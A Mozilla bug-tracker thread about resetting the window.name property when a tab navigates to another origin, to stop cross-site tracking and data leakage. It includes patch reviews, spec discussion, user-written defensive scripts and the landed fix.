Agreed.  The reason for the laziness no longer exists.

> >+++ b/docshell/base/nsDocShell.h
> >+#include "caps/nsIPrincipalNameTable.h"
> 
> Shouldn't need the "caps/" part, I would think.

Unless I'm neglecting something in caps/idl/Makefile.in, the "caps/" part seems necessary, since caps lives in its own library.

> Please actually use javadoc style
> [...]
> Also, put the one new method at the end of the interface?  I don't see a strong
> reason to put it up with the name methods offhand, and minimizing change to the
> vtable is good.

Done, done.

> >+++ b/embedding/browser/webBrowser/nsWebBrowser.cpp
> >+#define NAME_ACCESSOR_OPERATION(METHOD_CALL) {                                            \
> >+    if (mDocShell) {                                                                      \
> >+        return mDocShellAsItem->METHOD_CALL;                                              \
> >+    } else 
> 
> No need for else after return.
> 
> Again, use of PR_BEGIN/END_MACRO would help.  As written, you have trailing
> unnecessary ';' around.

Fair enough.

> >+++ b/embedding/components/windowwatcher/src/nsWindowWatcher.cpp
[...]
> Now that we fall back from null to subject and system in that order, I would
> probably just use null here.

I can live with correct and simpler, sure :)


NAMETABLE RELATED COMMENTS:

> >+++ b/caps/include/nsPrincipalNameTable.h
> >+class nsPrincipalNameTable : public nsIPrincipalNameTable
> >+    nsPrincipalNameTable() { NS_ASSERTION(mNames.Init(), "Out of memory?!"); 
> 
> That fails to call Init() in a non-debug build.  I'd just call Init() here and
> not worry about asserting, or use a factory constructor with init if you really
> want to be careful.

Ah, true.  I went with not worrying.

> >+protected:
> >+    ~nsPrincipalNameTable() {}
> 
> That needs to be virtual.

I suppose someone might want to subclass nsPrincipalNameTable some day, yeah.

> You're in caps/src, right?  How about #include "nsScriptSecurityManager.h" and
> then using nsScriptSecurityManager::GetScriptSecurityManager()?

Good point, discussed elsewhere.

> >+nsPrincipalNameTable::GetName(const nsIPrincipal *aPrincipal,
> >+    const nsString *name = ∅
> 
> Why set it here if this assignment is always clobbered?
> 
> >+    *aNamePtr = ToNewUnicode(*name);
> >+
> >+    return NS_OK;
> 
> Need to handle OOM.  (This is where using an AString signature would pay
> off...)

Switched to AStrings.

> >+nsPrincipalNameTable::SetName(const nsIPrincipal *aPrincipal,
> >+        mNames.Put(aPrincipal, new nsString(aName));
> 
> Need to handle OOM.

Handling.

> >+nsPrincipalNameTable::NameEquals(const nsIPrincipal *aPrincipal,
> >+    GetName(aPrincipal, getter_Copies(name));
> 
> Need to handle GetName failure.

GetName now failure-proof.

> >+NameEnum(const nsIPrincipal *aPrincipal,
> >+    static_cast<nsIPrincipalNameTable*>(aReceiver)
> >+        ->SetName(aPrincipal, ToNewUnicode(*aName));
> 
> This leaks the string ToNewUnicode allocates.  Is there any reason not to just
> use aName->get() here?

ToNewUnicode unnecessary with nsAStrings.

Comment 63

[Ben Newman (:bnewman) (:benjamn)]

(In reply to comment #62)
> Created an attachment (id=344541) [details]
> proposed patch

I should have changed the astrings to AStrings in nsDocShellTreeItem.idl, too, not just in nsPrincipalNameTable.idl.  Fixed in my working copy.

Comment 64

[Boris Zbarsky [:bzbarsky]]

> I'm still using XPCOM versions of GetSubjectPrincipal and GetSystemPrincipal,
> since that's a little simpler.  Did you mean I could add non-ADDREFing
> versions of those methods to the security manager?

Yes, but either way is fine by me.

> the "caps/" part seems necessary, since caps lives in its own library.

Yes, but the Makefiles in embedding and docshell have "caps" in REQUIRES, so it's added to the include path.

Comment 65

[Dave Garrett]

So, um... what ever happened here?

I happened to be reading a bit of the Tor Browser's design doc, and it has a bit:
"window.name is a magical DOM property that for some reason is allowed to retain a persistent value for the lifespan of a browser tab. It is possible to utilize this property for identifier storage."

This seems... insane. Is this still an issue?

This bug was reported 6 years ago, had lots of progress, then just stopped 3 months later. I don't even think the people working on it work at Mozilla anymore.

Is it viable to write a new patch to implement the strategy that was in the works here? Or, now that people actually think about tracking stuff across arbitrary domains as a stupid thing to allow, can the properties just be removed entirely?

Comment 66

[Dave Garrett]

The assignee doesn't appear to be active any longer, but bzbarsky (Boris Zbarsky) is of course still very much around. (didn't notice it was him at first because his name isn't shown here at the moment) needinfo?ing for comment 65, though he's on vacation according to his Bugzilla account name.

Comment 67

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Yes. Sadly this was entirely dropped on the floor.

I also think we went with an unneccessarily complex solution. Rather than having a hash based on origin, simply remember what origin set the current name, and returning an empty string to all other origins, is probably good enough.

Anne can probably help with the design here.

Sid, anyone on your team can help with finishing up the code?

Comment 68

[Dave Garrett]

Attachment: quick test page

Comment 69

[Dave Garrett]

My quick testcase in attachment 8471995 [details] tests setting window.name, window.status, window.winprop, & window.navigator.navprop then tries to load them from another page in a data uri after clicking the link. The window.name persists, however nothing else does in a current version of Firefox. In an old version of Firefox, around v10 or so, window.navigator.navprop also persists. I went all the way back to Firefox 3.0 and couldn't get window.status to persist in this test. A full test should also go between two full domains.

Comment 70

[Dave Garrett]

Even with dom.disable_window_status_change=false, Firefox 3 is fine here. It appears to just be an issue with window.name, so I'll drop ".status" from the summary.

Comment 71

[Anne (:annevk)]

Per the HTML specification each time you cross origins, you need to reset the name of the browsing context. window.name simply reflects the browsing context name. I'll file a bug on HTML that this model is insufficient for history.

And per HTML, window.status is simply a per Window property you can get and set and is therefore linked to the lifetime and scope of the Document the Window is associated with.

Comment 72

[Anne (:annevk)]

https://www.w3.org/Bugs/Public/show_bug.cgi?id=26565 is the bug I filed on HTML.

(Is it time to remove dom.disable_window_status_change=false altogether? Or is that still used by enterprise or some such?)

Comment 73

[Dave Garrett]

(In reply to Anne (:annevk) from comment #72)
> (Is it time to remove dom.disable_window_status_change=false altogether? Or
> is that still used by enterprise or some such?)

See also bug 720032, bug 863339, & https://www.w3.org/Bugs/Public/show_bug.cgi?id=21823

Comment 74

[Giorgio Maone [:ma1]]

FYI, I'm having a hard time with Yahoo! and NoScript's XSS filter just because they started using window.name as a systematic way to pass data around, including entire HTML pages:

https://forums.informaction.com/viewtopic.php?f=7&t=19992

Comment 75

[Anne (:annevk)]

HTML already stores the "browsing context name" in history. I missed this reading it last time. So I guess we can go ahead and fix this.

Comment 76

[Chris Rider]

Perhaps it would make sense to simplify this by making the window.name property entirely unreadable to the web content (that way you wouldn't need to keep track of origins at all). My understanding is that the intended use for the property is setting targets for links and forms. Web content does not need to read this property in order to make use of that functionality.

Comment 77

[Giorgio Maone [:ma1]]

(In reply to Chris Rider from comment #76)
> Perhaps it would make sense to simplify this by making the window.name
> property entirely unreadable to the web content (that way you wouldn't need
> to keep track of origins at all)

Did you notice comment #74? 
People (even Yahoo!) abuse window.name to pass data, and even HTML, across domain boundaries.
It will require a significant evangelization effort to stop this (nefarious) habit :(

Comment 78

[Chris Rider]

I suspect Yahoo would change their ways pretty quickly if their method stopped working. Of course, it would be preferable to give high impact misusers advance notice that the change is coming to a specific version of FF (i.e., start in Nightly and iterate the channels each time FF is released).

I'm not saying this suggestion is necessarily the best solution, I am only adding it because it hasn't been mentioned as a possibility. I notice that some have reservations about implementing a complex solution, so I think it makes sense to point out a possibility at the other end of the spectrum. Whether it's done one way or another, I would like to see the issue addressed.

Comment 79

[Chris Rider]

Alright, I've taken matters into my own hands. If anyone else would like to use one of my Greasemonkey solutions, below, feel free. The first one asks the user whether they want to allow read access to window.name on a case-by-case basis (user is only prompted when window.name actually contains a value, as I noticed in testing that sites that load Google scripts have an annoying habit of requesting window.name (probably for spying purposes)). The second one silently returns an empty string for read requests to the window.name property. This second version is much less likely to cause user annoyance, but may cause compatibility issues when dealing with sites that use window.name in a non-standard or unanticipated way.

The fact that Google scripts -- which are practically ubiquitous across the Web -- are accessing window.name emphasizes the danger in allowing the property to be used for non-standard purposes ... a typical Web developer using window.name for storage, either directly or via a library, probably has not considered the fact that Google is reading this storage, and that Google might inadvertently expose sensitive data to other parties as well.

Again, making window.name unreadable does not interfere with the property's intended uses -- setting targets for links and forms.



// ==UserScript==
// @name        Safe window.name
// @description Intercepts – and requires user permission for – read access to window.name property.
// @namespace   localhost
// @include     *
// @run-at      document-start
// @version     1.0
// @grant       none
// ==/UserScript==

var _=window.name;
Object.defineProperty(window,'name',{
	get:function()
	{
		if(_!=''&&confirm('This page is attempting to read the window.name property … this is likely an indication of non-standard use of the property to pass a message between different domains, bypassing your browser’s built-in same-origin security policies. Allowing read access to the window.name property could lead to a compromise of your security and privacy such as by exposing sensitive information or by enabling a vector for a cross-site scripting attack. Allow this request?'))
		{
			return _;
		}
		else
		{
			return '';
		}
	}
});



// ==UserScript==
// @name        Conceal window.name
// @description Intercepts read access to window.name property.
// @namespace   localhost
// @include     *
// @run-at      document-start
// @version     1.0
// @grant       none
// ==/UserScript==

Object.defineProperty(window,'name',{
	get:function()
	{
		return '';
	}
});

Comment 80

[Chris Rider]

After using the first script for a few days, I've noticed that pages which read the window.name property (mostly Google sites) tend to read it repeatedly during a single page load, which made visiting offending pages burdensome. I have updated this version of the script so that the user will only be asked once per page load whether to allow access. Note that you may still be prompted more than once if there are iframes which also request window.name access. You may even be asked more than once per iframe, if the iframe is refreshed at a certain interval.



// ==UserScript==
// @name        Safe window.name
// @description Intercepts – and requires user permission for – read access to window.name property.
// @namespace   localhost
// @include     *
// @run-at      document-start
// @version     1.0.1
// @grant       none
// ==/UserScript==

var _permission=-1;

var _window={name:window.name};
Object.defineProperty(window,'name',{
	get:function()
	{
		if(_permission==-1&&_window.name!=''&&confirm('This page is attempting to read the window.name property … this is likely an indication of non-standard use of the property to pass a message between different domains, bypassing your browser’s built-in same-origin security policies. Allowing read access to the window.name property could lead to a compromise of your security and privacy such as by exposing sensitive information or by enabling a vector for a cross-site scripting attack. Allow access?'))
		{
			_permission=1;
		}
		else if(_permission==-1&&_window.name!='')
		{
			_permission=0;
		}
		if(_permission==1)
		{
			return _window.name;
		}
		else
		{
			return '';
		}
	}
});

Comment 81

[Chris Rider]

For what it's worth, I've been using the "Conceal window.name" version of the Greasemonkey script for the last month now without any ill effects.

Comment 82

[Chris Rider]

I've added validated whitelisting to the "Conceal window.name" version of the script in order to allow the "No CAPTCHA" reCAPTCHA to work.


// ==UserScript==
// @name        Conceal window.name
// @description Intercepts read access to window.name property.
// @namespace   localhost
// @include     *
// @run-at      document-start
// @version     1.0.1
// @grant       none
// ==/UserScript==

var _window={name:window.name};
Object.defineProperty(window,'name',{
	get:function()
	{
		//No CAPTCHA reCAPTCHA
		if(/^https:\/\/www\.google\.com\/recaptcha\/api2\/(?:anchor|frame)\?.+$/.test(window.location.href)&&/^I[0-1]_[1-9][0-9]+$/.test(_window.name))
		{
			return _window.name;
		}
		else
		{
			if(_window.name!='')
			{
				console.warn('Intercepted read access to window.name "'+_window.name+'" from '+window.location);
			}
			return '';
		}
	}
});

Comment 83

[Arthur Edelstein [:arthur]]

Tor Browser currently uses the following patch:
https://torpat.ch/16620

Comment 84

[Anne (:annevk)]

WebKit landed https://trac.webkit.org/changeset/209076 which made it match the HTML Standard. This still leaks window.name in the auxiliary browsing context case, but is at least somewhat better for when you're simply browsing around.

Comment 85

[JFSIII]

The WebKit change has landed in Safari 10.1

Blink posted an Intent to Implement: https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/8uZDknA2Ua0

Comment 87

[fravoiblu]

Attachment: WebExtension (not signed): "Limit window.name lifetime" (Resets top-level window.name with each page load.)

I've created a WebExtension, "Limit window.name lifetime" (attached), as a workaround until Mozilla decides how to handle this. The extension resets top-level window.name with each page load. Note this isn't signed by AMO. Released to public domain. Feel free to modify and/or publish.

This works with the following content script (note that window.eval is used because it's the only way I could find to override window.name in the desired way (documentation regarding window.eval use within content scripts: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#Using_eval()_in_content_scripts)):

window.eval('Object.defineProperty(window,\'name\',{get:function(){if(this.value!==undefined){return this.value;}else{return \'\';}},set:function(name){this.value=name;}});');

Comment 88

[Arthur Edelstein [:arthur]]

I would like to propose making window.name respect first-party isolation (privacy.firstparty.isolate).

Comment 89

[Jonathan Watt [:jwatt]]

Mass bug change to replace various 'parity' whiteboard flags with the new canonical keywords. (See bug 1443764 comment 13.)

Comment 90

[Marion Daly [:mdaly]]

(In reply to Arthur Edelstein (Tor Browser dev) [:arthuredelstein] from comment #88)
> I would like to propose making window.name respect first-party isolation
> (privacy.firstparty.isolate).

Hi arthur, I see this was promoted from P3 to P1 5 months ago, reasoning? I would suggest making it a P2, any objections?

Comment 91

[Andrea Marchesini [:baku]]

Attachment: Bug 444222 - Reset window.name when the new document is cross-origin - tests, r?annevk

Comment 92

[Andrea Marchesini [:baku]]

Attachment: Bug 444222 - Update the window.name when doing the navigation, r?smaug

Comment 94

[Tim Huang[:timhuang]]

Attachment: Bug 444222 - Add a flag 'SetHasLoadedNonInitialDocument' in the BrowsingContext. r?nika

Depends on D81335

Comment 95

[Tim Huang[:timhuang]]

Attachment: Bug 444222 - Reset window.name when the new document is cross-origin - More tests. r?annevk

Depends on D81361

Comment 96

[Tim Huang[:timhuang]]

Attachment: Bug 444222 - Add browsing context name into SHEntry. r?smaug

Depends on D88416

Comment 97

[Tim Huang[:timhuang]]

Attachment: Bug 444222 - Modify tests and add a manual test for restoring window.name. r?annevk

Depends on D88417

Comment 98

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/integration/autoland/rev/0d63bc41097d
Reset window.name when the new document is cross-origin - tests, r=annevk
https://hg.mozilla.org/integration/autoland/rev/ec03ae5444a2
Add a flag 'SetHasLoadedNonInitialDocument' in the BrowsingContext. r=nika
https://hg.mozilla.org/integration/autoland/rev/99b73703fc41
Add browsing context name into SHEntry. r=smaug
https://hg.mozilla.org/integration/autoland/rev/b9293b1ffe1c
Update the window.name when doing the navigation, r=smaug,nika
https://hg.mozilla.org/integration/autoland/rev/0301da1359e0
Reset window.name when the new document is cross-origin - More tests. r=annevk
https://hg.mozilla.org/integration/autoland/rev/a2e9a24387c2
Modify tests and add a manual test for restoring window.name. r=annevk

Comment 99

[Web Platform Test Sync Bot (Matrix: #interop:mozilla.org)]

Created web-platform-tests PR https://github.com/web-platform-tests/wpt/pull/25548 for changes under testing/web-platform/tests

Comment 100

[Alexandru Michis [:malexandru]]

https://hg.mozilla.org/mozilla-central/rev/0d63bc41097d
https://hg.mozilla.org/mozilla-central/rev/ec03ae5444a2
https://hg.mozilla.org/mozilla-central/rev/99b73703fc41
https://hg.mozilla.org/mozilla-central/rev/b9293b1ffe1c
https://hg.mozilla.org/mozilla-central/rev/0301da1359e0
https://hg.mozilla.org/mozilla-central/rev/a2e9a24387c2

Comment 101

[Web Platform Test Sync Bot (Matrix: #interop:mozilla.org)]

Upstream PR merged by moz-wptsync-bot

Comment 102

[Hamish Willee]

Hi Tim,
Can I please confirm my interpretation of what the implementation ended up as (for docs):

• window.name is shared among all tabs/pages that use the window, meaning that any site opened in the same window can potentially access information stored in this field. This "feature" is being leveraged by frameworks for cross-domain sharing.
• The main change is that if a page opens a document in another domain, the window.name is reset to an empty string. The new document then can't get whatever data was stored in the original.
• There are associated changes to ensure that navigation still works - ie if a user select the original tab or navigates back then the window.name is restored.

I'm a bit confused because the original discussion was around having page-specific window names. I THINK that what has happened is that there is still a global window.name for the window, but now if a new page was created programmatically the value is cleared. However if you got back to the original page it is restored. Also if a new page was created by a user in the same window and then assigned to another domain, does it also have the window name reset.

Comment 103

[Tim Huang[:timhuang]]

(In reply to Hamish Willee from comment #102)

Hi Tim,
Can I please confirm my interpretation of what the implementation ended up as (for docs):

• window.name is shared among all tabs/pages that use the window, meaning that any site opened in the same window can potentially access information stored in this field. This "feature" is being leveraged by frameworks for cross-domain sharing.

There is something inaccurate here. The window.name is for the content window, not the chrome window. So, it is only shared among pages in one tab.

• The main change is that if a page opens a document in another domain, the window.name is reset to an empty string. The new document then can't get whatever data was stored in the original.
• There are associated changes to ensure that navigation still works - ie if a user select the original tab or navigates back then the window.name is restored.

I'm a bit confused because the original discussion was around having page-specific window names. I THINK that what has happened is that there is still a global window.name for the window, but now if a new page was created programmatically the value is cleared. However if you got back to the original page it is restored. Also if a new page was created by a user in the same window and then assigned to another domain, does it also have the window name reset.

We follow the spec when doing the reset/restore window.name. As I mentioned above, the window.name is per content window, so pages will have separate window.name if they are in different tabs. We don't reset the window.name when there is a new page created in a different tab since it is a separate one. We only do reset/restore when we navigate in a tab. Back to your question, yes, we reset the window.name if a user navigate the content window to another domain

Comment 104

[xbedna60]

I'm still noticing that window.name can be used as an XSS attack vector.

My web-browser version: Firefox Browser 84.0.1 (64 bits) on Windows 10.

The attack reproduction:

1. Open: http://www.fit.vutbr.cz/~polcak/nnnnn.html
   The window.name property is set to the value "uni".

2. Open in the same tab: http://rover.borec.cz/
   The value of the window.name property is written on the web page and is "uni", although window.name should have been reset.

If I understand correctly, websites should not be able to share value through the window.name property. But that is exactly what I managed to achieve. Has this security bug really been resolved?

Comment 105

[Anne (:annevk)]

We haven't shipped this to release yet, see https://searchfox.org/mozilla-central/source/modules/libpref/init/StaticPrefList.yaml#9408. I'll file a bug on doing that since we haven't encountered any problems.